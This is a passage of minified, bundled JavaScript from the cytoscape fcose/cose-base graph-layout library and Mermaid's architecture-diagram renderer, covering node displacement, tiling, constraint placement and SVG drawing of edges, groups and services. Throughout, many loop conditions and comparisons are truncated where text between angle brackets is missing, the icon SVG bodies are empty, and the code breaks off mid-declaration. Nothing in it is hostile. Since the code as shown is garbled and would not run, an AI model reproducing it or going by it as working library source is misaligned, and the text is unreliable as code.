$=0,U=0,j=0;j0&&(B+=E.horizontalPadding),E.rowWidth[_]=B,E.width0&&(F+=E.verticalPadding);var G=0;F>E.rowHeight[_]&&(G=E.rowHeight[_],E.rowHeight[_]=F,G=E.rowHeight[_]-G),E.height+=G,E.rows[_].push(D)},I.prototype.getShortestRowIndex=function(E){for(var D=-1,_=Number.MAX_VALUE,O=0;O_&&(D=O,_=E.rowWidth[O]);return D},I.prototype.canAddHorizontal=function(E,D,_){if(E.idealRowWidth){var O=E.rows.length-1,M=E.rowWidth[O];return M+D+E.horizontalPadding<=E.idealRowWidth}var P=this.getShortestRowIndex(E);if(P<0)return!0;var B=E.rowWidth[P];if(B+E.horizontalPadding+D<=E.width)return!0;var F=0;E.rowHeight[P]<_&&P>0&&(F=_+E.verticalPadding-E.rowHeight[P]);var G;E.width-B>=D+E.horizontalPadding?G=(E.height+F)/(B+D+E.horizontalPadding):G=(E.height+F)/E.width,F=_+E.verticalPadding;var $;return E.widthP&&D!=_){O.splice(-1,1),E.rows[_].push(M),E.rowWidth[D]=E.rowWidth[D]-P,E.rowWidth[_]=E.rowWidth[_]+P,E.width=E.rowWidth[instance.getLongestRowIndex(E)];for(var B=Number.MIN_VALUE,F=0;FB&&(B=O[F].height);D>0&&(B+=E.verticalPadding);var G=E.rowHeight[D]+E.rowHeight[_];E.rowHeight[D]=B,E.rowHeight[_]0)for(var Y=M;Y<=P;Y++)te[0]+=this.grid[Y][B-1].length+this.grid[Y][B].length-1;if(P0)for(var Y=B;Y<=F;Y++)te[3]+=this.grid[M-1][Y].length+this.grid[M][Y].length-1;for(var oe=w.MAX_VALUE,J,ue,re=0;re{var u=l(551).FDLayoutNode,h=l(551).IMath;function f(p,m,g,y){u.call(this,p,m,g,y)}o(f,"CoSENode"),f.prototype=Object.create(u.prototype);for(var d in u)f[d]=u[d];f.prototype.calculateDisplacement=function(){var p=this.graphManager.getLayout();this.getChild()!=null&&this.fixedNodeWeight?(this.displacementX+=p.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.fixedNodeWeight,this.displacementY+=p.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.fixedNodeWeight):(this.displacementX+=p.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.noOfChildren,this.displacementY+=p.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.noOfChildren),Math.abs(this.displacementX)>p.coolingFactor*p.maxNodeDisplacement&&(this.displacementX=p.coolingFactor*p.maxNodeDisplacement*h.sign(this.displacementX)),Math.abs(this.displacementY)>p.coolingFactor*p.maxNodeDisplacement&&(this.displacementY=p.coolingFactor*p.maxNodeDisplacement*h.sign(this.displacementY)),this.child&&this.child.getNodes().length>0&&this.propogateDisplacementToChildren(this.displacementX,this.displacementY)},f.prototype.propogateDisplacementToChildren=function(p,m){for(var g=this.getChild().getNodes(),y,v=0;v{function u(g){if(Array.isArray(g)){for(var y=0,v=Array(g.length);y0){var et=0;Oe.forEach(function(lt){he=="horizontal"?(ye.set(lt,x.has(lt)?b[x.get(lt)]:se.get(lt)),et+=ye.get(lt)):(ye.set(lt,x.has(lt)?T[x.get(lt)]:se.get(lt)),et+=ye.get(lt))}),et=et/Oe.length,We.forEach(function(lt){z.has(lt)||ye.set(lt,et)})}else{var Ue=0;We.forEach(function(lt){he=="horizontal"?Ue+=x.has(lt)?b[x.get(lt)]:se.get(lt):Ue+=x.has(lt)?T[x.get(lt)]:se.get(lt)}),Ue=Ue/We.length,We.forEach(function(lt){ye.set(lt,Ue)})}});for(var ze=o(function(){var Oe=_e.shift(),et=W.get(Oe);et.forEach(function(Ue){if(ye.get(Ue.id)lt&&(lt=yt),ftGt&&(Gt=ft)}}catch(Ct){Lt=!0,dt=Ct}finally{try{!vt&&nt.return&&nt.return()}finally{if(Lt)throw dt}}var Ur=(et+lt)/2-(Ue+Gt)/2,_t=!0,bn=!1,Br=void 0;try{for(var cr=We[Symbol.iterator](),ar;!(_t=(ar=cr.next()).done);_t=!0){var _r=ar.value;ye.set(_r,ye.get(_r)+Ur)}}catch(Ct){bn=!0,Br=Ct}finally{try{!_t&&cr.return&&cr.return()}finally{if(bn)throw Br}}})}return ye},"findAppropriatePositionForRelativePlacement"),L=o(function(W){var he=0,z=0,se=0,le=0;if(W.forEach(function(Re){Re.left?b[x.get(Re.left)]-b[x.get(Re.right)]>=0?he++:z++:T[x.get(Re.top)]-T[x.get(Re.bottom)]>=0?se++:le++}),he>z&&se>le)for(var ke=0;kez)for(var ve=0;vele)for(var ye=0;ye1)y.fixedNodeConstraint.forEach(function(xe,W){O[W]=[xe.position.x,xe.position.y],M[W]=[b[x.get(xe.nodeId)],T[x.get(xe.nodeId)]]}),P=!0;else if(y.alignmentConstraint)(function(){var xe=0;if(y.alignmentConstraint.vertical){for(var W=y.alignmentConstraint.vertical,he=o(function(ye){var Re=new Set;W[ye].forEach(function(Ke){Re.add(Ke)});var _e=new Set([].concat(u(Re)).filter(function(Ke){return F.has(Ke)})),ze=void 0;_e.size>0?ze=b[x.get(_e.values().next().value)]:ze=R(Re).x,W[ye].forEach(function(Ke){O[xe]=[ze,T[x.get(Ke)]],M[xe]=[b[x.get(Ke)],T[x.get(Ke)]],xe++})},"_loop2"),z=0;z0?ze=b[x.get(_e.values().next().value)]:ze=R(Re).y,se[ye].forEach(function(Ke){O[xe]=[b[x.get(Ke)],ze],M[xe]=[b[x.get(Ke)],T[x.get(Ke)]],xe++})},"_loop3"),ke=0;kej&&(j=U[Y].length,te=Y);if(j<$.size/2)L(y.relativePlacementConstraint),P=!1,B=!1;else{var oe=new Map,J=new Map,ue=[];U[te].forEach(function(xe){G.get(xe).forEach(function(W){W.direction=="horizontal"?(oe.has(xe)?oe.get(xe).push(W):oe.set(xe,[W]),oe.has(W.id)||oe.set(W.id,[]),ue.push({left:xe,right:W.id})):(J.has(xe)?J.get(xe).push(W):J.set(xe,[W]),J.has(W.id)||J.set(W.id,[]),ue.push({top:xe,bottom:W.id}))})}),L(ue),B=!1;var re=I(oe,"horizontal"),ee=I(J,"vertical");U[te].forEach(function(xe,W){M[W]=[b[x.get(xe)],T[x.get(xe)]],O[W]=[],re.has(xe)?O[W][0]=re.get(xe):O[W][0]=b[x.get(xe)],ee.has(xe)?O[W][1]=ee.get(xe):O[W][1]=T[x.get(xe)]}),P=!0}}if(P){for(var Z=void 0,K=d.transpose(O),ae=d.transpose(M),Q=0;Q0){var Be={x:0,y:0};y.fixedNodeConstraint.forEach(function(xe,W){var he={x:b[x.get(xe.nodeId)],y:T[x.get(xe.nodeId)]},z=xe.position,se=C(z,he);Be.x+=se.x,Be.y+=se.y}),Be.x/=y.fixedNodeConstraint.length,Be.y/=y.fixedNodeConstraint.length,b.forEach(function(xe,W){b[W]+=Be.x}),T.forEach(function(xe,W){T[W]+=Be.y}),y.fixedNodeConstraint.forEach(function(xe){b[x.get(xe.nodeId)]=xe.position.x,T[x.get(xe.nodeId)]=xe.position.y})}if(y.alignmentConstraint){if(y.alignmentConstraint.vertical)for(var Ye=y.alignmentConstraint.vertical,He=o(function(W){var he=new Set;Ye[W].forEach(function(le){he.add(le)});var z=new Set([].concat(u(he)).filter(function(le){return F.has(le)})),se=void 0;z.size>0?se=b[x.get(z.values().next().value)]:se=R(he).x,he.forEach(function(le){F.has(le)||(b[x.get(le)]=se)})},"_loop4"),Le=0;Le0?se=T[x.get(z.values().next().value)]:se=R(he).y,he.forEach(function(le){F.has(le)||(T[x.get(le)]=se)})},"_loop5"),Ce=0;Ce{a.exports=t})},r={};function n(a){var s=r[a];if(s!==void 0)return s.exports;var l=r[a]={exports:{}};return e[a](l,l.exports,n),l.exports}o(n,"__webpack_require__");var i=n(45);return i})()})});var R4e=Da((B4,Mz)=>{"use strict";o((function(e,r){typeof B4=="object"&&typeof Mz=="object"?Mz.exports=r(Nz()):typeof define=="function"&&define.amd?define(["cose-base"],r):typeof B4=="object"?B4.cytoscapeFcose=r(Nz()):e.cytoscapeFcose=r(e.coseBase)}),"webpackUniversalModuleDefinition")(B4,function(t){return(()=>{"use strict";var e={658:(a=>{a.exports=Object.assign!=null?Object.assign.bind(Object):function(s){for(var l=arguments.length,u=Array(l>1?l-1:0),h=1;h{var u=(function(){function d(p,m){var g=[],y=!0,v=!1,x=void 0;try{for(var b=p[Symbol.iterator](),T;!(y=(T=b.next()).done)&&(g.push(T.value),!(m&&g.length===m));y=!0);}catch(S){v=!0,x=S}finally{try{!y&&b.return&&b.return()}finally{if(v)throw x}}return g}return o(d,"sliceIterator"),function(p,m){if(Array.isArray(p))return p;if(Symbol.iterator in Object(p))return d(p,m);throw new TypeError("Invalid attempt to destructure non-iterable instance")}})(),h=l(140).layoutBase.LinkedList,f={};f.getTopMostNodes=function(d){for(var p={},m=0;m0&&P.merge($)});for(var B=0;B1){T=x[0],S=T.connectedEdges().length,x.forEach(function(M){M.connectedEdges().length0&&g.set("dummy"+(g.size+1),A),C},f.relocateComponent=function(d,p,m){if(!m.fixedNodeConstraint){var g=Number.POSITIVE_INFINITY,y=Number.NEGATIVE_INFINITY,v=Number.POSITIVE_INFINITY,x=Number.NEGATIVE_INFINITY;if(m.quality=="draft"){var b=!0,T=!1,S=void 0;try{for(var w=p.nodeIndexes[Symbol.iterator](),k;!(b=(k=w.next()).done);b=!0){var A=k.value,C=u(A,2),R=C[0],I=C[1],L=m.cy.getElementById(R);if(L){var E=L.boundingBox(),D=p.xCoords[I]-E.w/2,_=p.xCoords[I]+E.w/2,O=p.yCoords[I]-E.h/2,M=p.yCoords[I]+E.h/2;Dy&&(y=_),Ox&&(x=M)}}}catch($){T=!0,S=$}finally{try{!b&&w.return&&w.return()}finally{if(T)throw S}}var P=d.x-(y+g)/2,B=d.y-(x+v)/2;p.xCoords=p.xCoords.map(function($){return $+P}),p.yCoords=p.yCoords.map(function($){return $+B})}else{Object.keys(p).forEach(function($){var U=p[$],j=U.getRect().x,te=U.getRect().x+U.getRect().width,Y=U.getRect().y,oe=U.getRect().y+U.getRect().height;jy&&(y=te),Yx&&(x=oe)});var F=d.x-(y+g)/2,G=d.y-(x+v)/2;Object.keys(p).forEach(function($){var U=p[$];U.setCenter(U.getCenterX()+F,U.getCenterY()+G)})}}},f.calcBoundingBox=function(d,p,m,g){for(var y=Number.MAX_SAFE_INTEGER,v=Number.MIN_SAFE_INTEGER,x=Number.MAX_SAFE_INTEGER,b=Number.MIN_SAFE_INTEGER,T=void 0,S=void 0,w=void 0,k=void 0,A=d.descendants().not(":parent"),C=A.length,R=0;RT&&(y=T),vw&&(x=w),b{var u=l(548),h=l(140).CoSELayout,f=l(140).CoSENode,d=l(140).layoutBase.PointD,p=l(140).layoutBase.DimensionD,m=l(140).layoutBase.LayoutConstants,g=l(140).layoutBase.FDLayoutConstants,y=l(140).CoSEConstants,v=o(function(b,T){var S=b.cy,w=b.eles,k=w.nodes(),A=w.edges(),C=void 0,R=void 0,I=void 0,L={};b.randomize&&(C=T.nodeIndexes,R=T.xCoords,I=T.yCoords);var E=o(function($){return typeof $=="function"},"isFn"),D=o(function($,U){return E($)?$(U):$},"optFn"),_=u.calcParentsWithoutChildren(S,w),O=o(function G($,U,j,te){for(var Y=U.length,oe=0;oe0){var K=void 0;K=j.getGraphManager().add(j.newGraph(),re),G(K,ue,j,te)}}},"processChildrenList"),M=o(function($,U,j){for(var te=0,Y=0,oe=0;oe0?y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=te/Y:E(b.idealEdgeLength)?y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=50:y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=b.idealEdgeLength,y.MIN_REPULSION_DIST=g.MIN_REPULSION_DIST=g.DEFAULT_EDGE_LENGTH/10,y.DEFAULT_RADIAL_SEPARATION=g.DEFAULT_EDGE_LENGTH)},"processEdges"),P=o(function($,U){U.fixedNodeConstraint&&($.constraints.fixedNodeConstraint=U.fixedNodeConstraint),U.alignmentConstraint&&($.constraints.alignmentConstraint=U.alignmentConstraint),U.relativePlacementConstraint&&($.constraints.relativePlacementConstraint=U.relativePlacementConstraint)},"processConstraints");b.nestingFactor!=null&&(y.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=g.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=b.nestingFactor),b.gravity!=null&&(y.DEFAULT_GRAVITY_STRENGTH=g.DEFAULT_GRAVITY_STRENGTH=b.gravity),b.numIter!=null&&(y.MAX_ITERATIONS=g.MAX_ITERATIONS=b.numIter),b.gravityRange!=null&&(y.DEFAULT_GRAVITY_RANGE_FACTOR=g.DEFAULT_GRAVITY_RANGE_FACTOR=b.gravityRange),b.gravityCompound!=null&&(y.DEFAULT_COMPOUND_GRAVITY_STRENGTH=g.DEFAULT_COMPOUND_GRAVITY_STRENGTH=b.gravityCompound),b.gravityRangeCompound!=null&&(y.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=g.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=b.gravityRangeCompound),b.initialEnergyOnIncremental!=null&&(y.DEFAULT_COOLING_FACTOR_INCREMENTAL=g.DEFAULT_COOLING_FACTOR_INCREMENTAL=b.initialEnergyOnIncremental),b.tilingCompareBy!=null&&(y.TILING_COMPARE_BY=b.tilingCompareBy),b.quality=="proof"?m.QUALITY=2:m.QUALITY=0,y.NODE_DIMENSIONS_INCLUDE_LABELS=g.NODE_DIMENSIONS_INCLUDE_LABELS=m.NODE_DIMENSIONS_INCLUDE_LABELS=b.nodeDimensionsIncludeLabels,y.DEFAULT_INCREMENTAL=g.DEFAULT_INCREMENTAL=m.DEFAULT_INCREMENTAL=!b.randomize,y.ANIMATE=g.ANIMATE=m.ANIMATE=b.animate,y.TILE=b.tile,y.TILING_PADDING_VERTICAL=typeof b.tilingPaddingVertical=="function"?b.tilingPaddingVertical.call():b.tilingPaddingVertical,y.TILING_PADDING_HORIZONTAL=typeof b.tilingPaddingHorizontal=="function"?b.tilingPaddingHorizontal.call():b.tilingPaddingHorizontal,y.DEFAULT_INCREMENTAL=g.DEFAULT_INCREMENTAL=m.DEFAULT_INCREMENTAL=!0,y.PURE_INCREMENTAL=!b.randomize,m.DEFAULT_UNIFORM_LEAF_NODE_SIZES=b.uniformNodeDimensions,b.step=="transformed"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!0,y.ENFORCE_CONSTRAINTS=!1,y.APPLY_LAYOUT=!1),b.step=="enforced"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!0,y.APPLY_LAYOUT=!1),b.step=="cose"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!1,y.APPLY_LAYOUT=!0),b.step=="all"&&(b.randomize?y.TRANSFORM_ON_CONSTRAINT_HANDLING=!0:y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!0,y.APPLY_LAYOUT=!0),b.fixedNodeConstraint||b.alignmentConstraint||b.relativePlacementConstraint?y.TREE_REDUCTION_ON_INCREMENTAL=!1:y.TREE_REDUCTION_ON_INCREMENTAL=!0;var B=new h,F=B.newGraphManager();return O(F.addRoot(),u.getTopMostNodes(k),B,b),M(B,F,A),P(B,b),B.runLayout(),L},"coseLayout");a.exports={coseLayout:v}}),212:((a,s,l)=>{var u=(function(){function b(T,S){for(var w=0;w0)if(M){var F=d.getTopMostNodes(w.eles.nodes());if(E=d.connectComponents(k,w.eles,F),E.forEach(function(Te){var q=Te.boundingBox();D.push({x:q.x1+q.w/2,y:q.y1+q.h/2})}),w.randomize&&E.forEach(function(Te){w.eles=Te,C.push(m(w))}),w.quality=="default"||w.quality=="proof"){var G=k.collection();if(w.tile){var $=new Map,U=[],j=[],te=0,Y={nodeIndexes:$,xCoords:U,yCoords:j},oe=[];if(E.forEach(function(Te,q){Te.edges().length==0&&(Te.nodes().forEach(function(Ve,pe){G.merge(Te.nodes()[pe]),Ve.isParent()||(Y.nodeIndexes.set(Te.nodes()[pe].id(),te++),Y.xCoords.push(Te.nodes()[0].position().x),Y.yCoords.push(Te.nodes()[0].position().y))}),oe.push(q))}),G.length>1){var J=G.boundingBox();D.push({x:J.x1+J.w/2,y:J.y1+J.h/2}),E.push(G),C.push(Y);for(var ue=oe.length-1;ue>=0;ue--)E.splice(oe[ue],1),C.splice(oe[ue],1),D.splice(oe[ue],1)}}E.forEach(function(Te,q){w.eles=Te,L.push(y(w,C[q])),d.relocateComponent(D[q],L[q],w)})}else E.forEach(function(Te,q){d.relocateComponent(D[q],C[q],w)});var re=new Set;if(E.length>1){var ee=[],Z=A.filter(function(Te){return Te.css("display")=="none"});E.forEach(function(Te,q){var Ve=void 0;if(w.quality=="draft"&&(Ve=C[q].nodeIndexes),Te.nodes().not(Z).length>0){var pe={};pe.edges=[],pe.nodes=[];var Be=void 0;Te.nodes().not(Z).forEach(function(Ye){if(w.quality=="draft")if(!Ye.isParent())Be=Ve.get(Ye.id()),pe.nodes.push({x:C[q].xCoords[Be]-Ye.boundingbox().w/2,y:C[q].yCoords[Be]-Ye.boundingbox().h/2,width:Ye.boundingbox().w,height:Ye.boundingbox().h});else{var He=d.calcBoundingBox(Ye,C[q].xCoords,C[q].yCoords,Ve);pe.nodes.push({x:He.topLeftX,y:He.topLeftY,width:He.width,height:He.height})}else L[q][Ye.id()]&&pe.nodes.push({x:L[q][Ye.id()].getLeft(),y:L[q][Ye.id()].getTop(),width:L[q][Ye.id()].getWidth(),height:L[q][Ye.id()].getHeight()})}),Te.edges().forEach(function(Ye){var He=Ye.source(),Le=Ye.target();if(He.css("display")!="none"&&Le.css("display")!="none")if(w.quality=="draft"){var Ie=Ve.get(He.id()),Ne=Ve.get(Le.id()),Ce=[],Fe=[];if(He.isParent()){var fe=d.calcBoundingBox(He,C[q].xCoords,C[q].yCoords,Ve);Ce.push(fe.topLeftX+fe.width/2),Ce.push(fe.topLeftY+fe.height/2)}else Ce.push(C[q].xCoords[Ie]),Ce.push(C[q].yCoords[Ie]);if(Le.isParent()){var xe=d.calcBoundingBox(Le,C[q].xCoords,C[q].yCoords,Ve);Fe.push(xe.topLeftX+xe.width/2),Fe.push(xe.topLeftY+xe.height/2)}else Fe.push(C[q].xCoords[Ne]),Fe.push(C[q].yCoords[Ne]);pe.edges.push({startX:Ce[0],startY:Ce[1],endX:Fe[0],endY:Fe[1]})}else L[q][He.id()]&&L[q][Le.id()]&&pe.edges.push({startX:L[q][He.id()].getCenterX(),startY:L[q][He.id()].getCenterY(),endX:L[q][Le.id()].getCenterX(),endY:L[q][Le.id()].getCenterY()})}),pe.nodes.length>0&&(ee.push(pe),re.add(q))}});var K=O.packComponents(ee,w.randomize).shifts;if(w.quality=="draft")C.forEach(function(Te,q){var Ve=Te.xCoords.map(function(Be){return Be+K[q].dx}),pe=Te.yCoords.map(function(Be){return Be+K[q].dy});Te.xCoords=Ve,Te.yCoords=pe});else{var ae=0;re.forEach(function(Te){Object.keys(L[Te]).forEach(function(q){var Ve=L[Te][q];Ve.setCenter(Ve.getCenterX()+K[ae].dx,Ve.getCenterY()+K[ae].dy)}),ae++})}}}else{var P=w.eles.boundingBox();if(D.push({x:P.x1+P.w/2,y:P.y1+P.h/2}),w.randomize){var B=m(w);C.push(B)}w.quality=="default"||w.quality=="proof"?(L.push(y(w,C[0])),d.relocateComponent(D[0],L[0],w)):d.relocateComponent(D[0],C[0],w)}var Q=o(function(q,Ve){if(w.quality=="default"||w.quality=="proof"){typeof q=="number"&&(q=Ve);var pe=void 0,Be=void 0,Ye=q.data("id");return L.forEach(function(Le){Ye in Le&&(pe={x:Le[Ye].getRect().getCenterX(),y:Le[Ye].getRect().getCenterY()},Be=Le[Ye])}),w.nodeDimensionsIncludeLabels&&(Be.labelWidth&&(Be.labelPosHorizontal=="left"?pe.x+=Be.labelWidth/2:Be.labelPosHorizontal=="right"&&(pe.x-=Be.labelWidth/2)),Be.labelHeight&&(Be.labelPosVertical=="top"?pe.y+=Be.labelHeight/2:Be.labelPosVertical=="bottom"&&(pe.y-=Be.labelHeight/2))),pe==null&&(pe={x:q.position("x"),y:q.position("y")}),{x:pe.x,y:pe.y}}else{var He=void 0;return C.forEach(function(Le){var Ie=Le.nodeIndexes.get(q.id());Ie!=null&&(He={x:Le.xCoords[Ie],y:Le.yCoords[Ie]})}),He==null&&(He={x:q.position("x"),y:q.position("y")}),{x:He.x,y:He.y}}},"getPositions");if(w.quality=="default"||w.quality=="proof"||w.randomize){var de=d.calcParentsWithoutChildren(k,A),ne=A.filter(function(Te){return Te.css("display")=="none"});w.eles=A.not(ne),A.nodes().not(":parent").not(ne).layoutPositions(S,w,Q),de.length>0&&de.forEach(function(Te){Te.position(Q(Te))})}else console.log("If randomize option is set to false, then quality option must be 'default' or 'proof'.")},"run")}]),b})();a.exports=x}),657:((a,s,l)=>{var u=l(548),h=l(140).layoutBase.Matrix,f=l(140).layoutBase.SVD,d=o(function(m){var g=m.cy,y=m.eles,v=y.nodes(),x=y.nodes(":parent"),b=new Map,T=new Map,S=new Map,w=[],k=[],A=[],C=[],R=[],I=[],L=[],E=[],D=void 0,_=void 0,O=1e8,M=1e-9,P=m.piTol,B=m.samplingType,F=m.nodeSeparation,G=void 0,$=o(function(){for(var he=0,z=0,se=!1;z=ke;){ye=le[ke++];for(var We=w[ye],Oe=0;Oeze&&(ze=R[Ue],Ke=Ue)}return Ke},"BFS"),j=o(function(he){var z=void 0;if(he){z=Math.floor(Math.random()*_),D=z;for(var le=0;le<_;le++)R[le]=O;for(var ke=0;ke=1)break;ze=_e}for(var We=0;We<_;We++)ke[We]=se[We];for(Re=0,ze=M;;){Re++;for(var Oe=0;Oe<_;Oe++)ve[Oe]=le[Oe];if(ve=h.minusOp(ve,h.multCons(ke,h.dotProduct(ke,ve))),le=h.multGamma(h.multL(h.multGamma(ve),I,E)),z=h.dotProduct(ve,le),le=h.normalize(le),_e=h.dotProduct(ve,le),Ke=Math.abs(_e/ze),Ke<=1+P&&Ke>=1)break;ze=_e}for(var et=0;et<_;et++)ve[et]=le[et];k=h.multCons(ke,Math.sqrt(Math.abs(he))),A=h.multCons(ve,Math.sqrt(Math.abs(z)))},"powerIteration");u.connectComponents(g,y,u.getTopMostNodes(v),b),x.forEach(function(W){u.connectComponents(g,y,u.getTopMostNodes(W.descendants().intersection(y)),b)});for(var oe=0,J=0;J0&&(z.isParent()?w[he].push(S.get(z.id())):w[he].push(z.id()))})});var de=o(function(he){var z=T.get(he),se=void 0;b.get(he).forEach(function(le){g.getElementById(le).isParent()?se=S.get(le):se=le,w[z].push(se),w[T.get(se)].push(he)})},"_loop"),ne=!0,Te=!1,q=void 0;try{for(var Ve=b.keys()[Symbol.iterator](),pe;!(ne=(pe=Ve.next()).done);ne=!0){var Be=pe.value;de(Be)}}catch(W){Te=!0,q=W}finally{try{!ne&&Ve.return&&Ve.return()}finally{if(Te)throw q}}_=T.size;var Ye=void 0;if(_>2){G=_{var u=l(212),h=o(function(d){d&&d("layout","fcose",u)},"register");typeof cytoscape<"u"&&h(cytoscape),a.exports=h}),140:(a=>{a.exports=t})},r={};function n(a){var s=r[a];if(s!==void 0)return s.exports;var l=r[a]={exports:{}};return e[a](l,l.exports,n),l.exports}o(n,"__webpack_require__");var i=n(579);return i})()})});var xy,m0,Iz=N(()=>{"use strict";nc();xy=o(t=>`${t}`,"wrapIcon"),m0={prefix:"mermaid-architecture",height:80,width:80,icons:{database:{body:xy('')},server:{body:xy('')},disk:{body:xy('')},internet:{body:xy('')},cloud:{body:xy('')},unknown:AA,blank:{body:xy("")}}}});var N4e,M4e,I4e,O4e,P4e=N(()=>{"use strict";Xt();zo();nc();gr();Iz();PC();tr();N4e=o(async function(t,e,r){let n=r.getConfigField("padding"),i=r.getConfigField("iconSize"),a=i/2,s=i/6,l=s/2;await Promise.all(e.edges().map(async u=>{let{source:h,sourceDir:f,sourceArrow:d,sourceGroup:p,target:m,targetDir:g,targetArrow:y,targetGroup:v,label:x}=OC(u),{x:b,y:T}=u[0].sourceEndpoint(),{x:S,y:w}=u[0].midpoint(),{x:k,y:A}=u[0].targetEndpoint(),C=n+4;if(p&&(Ya(f)?b+=f==="L"?-C:C:T+=f==="T"?-C:C+18),v&&(Ya(g)?k+=g==="L"?-C:C:A+=g==="T"?-C:C+18),!p&&r.getNode(h)?.type==="junction"&&(Ya(f)?b+=f==="L"?a:-a:T+=f==="T"?a:-a),!v&&r.getNode(m)?.type==="junction"&&(Ya(g)?k+=g==="L"?a:-a:A+=g==="T"?a:-a),u[0]._private.rscratch){let R=t.insert("g");if(R.insert("path").attr("d",`M ${b},${T} L ${S},${w} L${k},${A} `).attr("class","edge").attr("id",xc(h,m,{prefix:"L"})),d){let I=Ya(f)?N4[f](b,s):b-l,L=nu(f)?N4[f](T,s):T-l;R.insert("polygon").attr("points",Sz[f](s)).attr("transform",`translate(${I},${L})`).attr("class","arrow")}if(y){let I=Ya(g)?N4[g](k,s):k-l,L=nu(g)?N4[g](A,s):A-l;R.insert("polygon").attr("points",Sz[g](s)).attr("transform",`translate(${I},${L})`).attr("class","arrow")}if(x){let I=M4(f,g)?"XY":Ya(f)?"X":"Y",L=0;I==="X"?L=Math.abs(b-k):I==="Y"?L=Math.abs(T-A)/1.5:L=Math.abs(b-k)/2;let E=R.append("g");if(await di(E,x,{useHtmlLabels:!1,width:L,classes:"architecture-service-label"},ge()),E.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","middle").attr("text-anchor","middle"),I==="X")E.attr("transform","translate("+S+", "+w+")");else if(I==="Y")E.attr("transform","translate("+S+", "+w+") rotate(-90)");else if(I==="XY"){let D=I4(f,g);if(D&&w4e(D)){let _=E.node().getBoundingClientRect(),[O,M]=E4e(D);E.attr("dominant-baseline","auto").attr("transform",`rotate(${-1*O*M*45})`);let P=E.node().getBoundingClientRect();E.attr("transform",` + translate(${S}, ${w-_.height/2}) + translate(${O*P.width/2}, ${M*P.height/2}) + rotate(${-1*O*M*45}, 0, ${_.height/2}) + `)}}}}}))},"drawEdges"),M4e=o(async function(t,e,r){let i=r.getConfigField("padding")*.75,a=r.getConfigField("fontSize"),l=r.getConfigField("iconSize")/2;await Promise.all(e.nodes().map(async u=>{let h=td(u);if(h.type==="group"){let{h:f,w:d,x1:p,y1:m}=u.boundingBox(),g=t.append("rect");g.attr("id",`group-${h.id}`).attr("x",p+l).attr("y",m+l).attr("width",d).attr("height",f).attr("class","node-bkg");let y=t.append("g"),v=p,x=m;if(h.icon){let b=y.append("g");b.html(`${await _s(h.icon,{height:i,width:i,fallbackPrefix:m0.prefix})}`),b.attr("transform","translate("+(v+l+1)+", "+(x+l+1)+")"),v+=i,x+=a/2-1-2}if(h.label){let b=y.append("g");await di(b,h.label,{useHtmlLabels:!1,width:d,classes:"architecture-service-label"},ge()),b.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","start").attr("text-anchor","start"),b.attr("transform","translate("+(v+l+4)+", "+(x+l+2)+")")}r.setElementForId(h.id,g)}}))},"drawGroups"),I4e=o(async function(t,e,r){let n=ge();for(let i of r){let a=e.append("g"),s=t.getConfigField("iconSize");if(i.title){let f=a.append("g");await di(f,i.title,{useHtmlLabels:!1,width:s*1.5,classes:"architecture-service-label"},n),f.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","middle").attr("text-anchor","middle"),f.attr("transform","translate("+s/2+", "+s+")")}let l=a.append("g");if(i.icon)l.html(`${await _s(i.icon,{height:s,width:s,fallbackPrefix:m0.prefix})}`);else if(i.iconText){l.html(`${await _s("blank",{height:s,width:s,fallbackPrefix:m0.prefix})}`);let p=l.append("g").append("foreignObject").attr("width",s).attr("height",s).append("div").attr("class","node-icon-text").attr("style",`height: ${s}px;`).append("div").html(sr(i.iconText,n)),m=parseInt(window.getComputedStyle(p.node(),null).getPropertyValue("font-size").replace(/\D/g,""))??16;p.attr("style",`-webkit-line-clamp: ${Math.floor((s-2)/m)};`)}else l.append("path").attr("class","node-bkg").attr("id","node-"+i.id).attr("d",`M0 ${s} v${-s} q0,-5 5,-5 h${s} q5,0 5,5 v${s} H0 Z`);a.attr("id",`service-${i.id}`).attr("class","architecture-service");let{width:u,height:h}=a.node().getBBox();i.width=u,i.height=h,t.setElementForId(i.id,a)}return 0},"drawServices"),O4e=o(function(t,e,r){r.forEach(n=>{let i=e.append("g"),a=t.getConfigField("iconSize");i.append("g").append("rect").attr("id","node-"+n.id).attr("fill-opacity","0").attr("width",a).attr("height",a),i.attr("class","architecture-junction");let{width:l,height:u}=i._groups[0][0].getBBox();i.width=l,i.height=u,t.setElementForId(n.id,i)})},"drawJunctions")});function Dit(t,e,r){t.forEach(n=>{e.add({group:"nodes",data:{type:"service",id:n.id,icon:n.icon,label:n.title,parent:n.in,width:r.getConfigField("iconSize"),height:r.getConfigField("iconSize")},classes:"node-service"})})}function Lit(t,e,r){t.forEach(n=>{e.add({group:"nodes",data:{type:"junction",id:n.id,parent:n.in,width:r.getConfigField("iconSize"),height:r.getConfigField("iconSize")},classes:"node-junction"})})}function Rit(t,e){e.nodes().map(r=>{let n=td(r);if(n.type==="group")return;n.x=r.position().x,n.y=r.position().y,t.getElementById(n.id).attr("transform","translate("+(n.x||0)+","+(n.y||0)+")")})}function Nit(t,e){t.forEach(r=>{e.add({group:"nodes",data:{type:"group",id:r.id,icon:r.icon,label:r.title,parent:r.in},classes:"node-group"})})}function 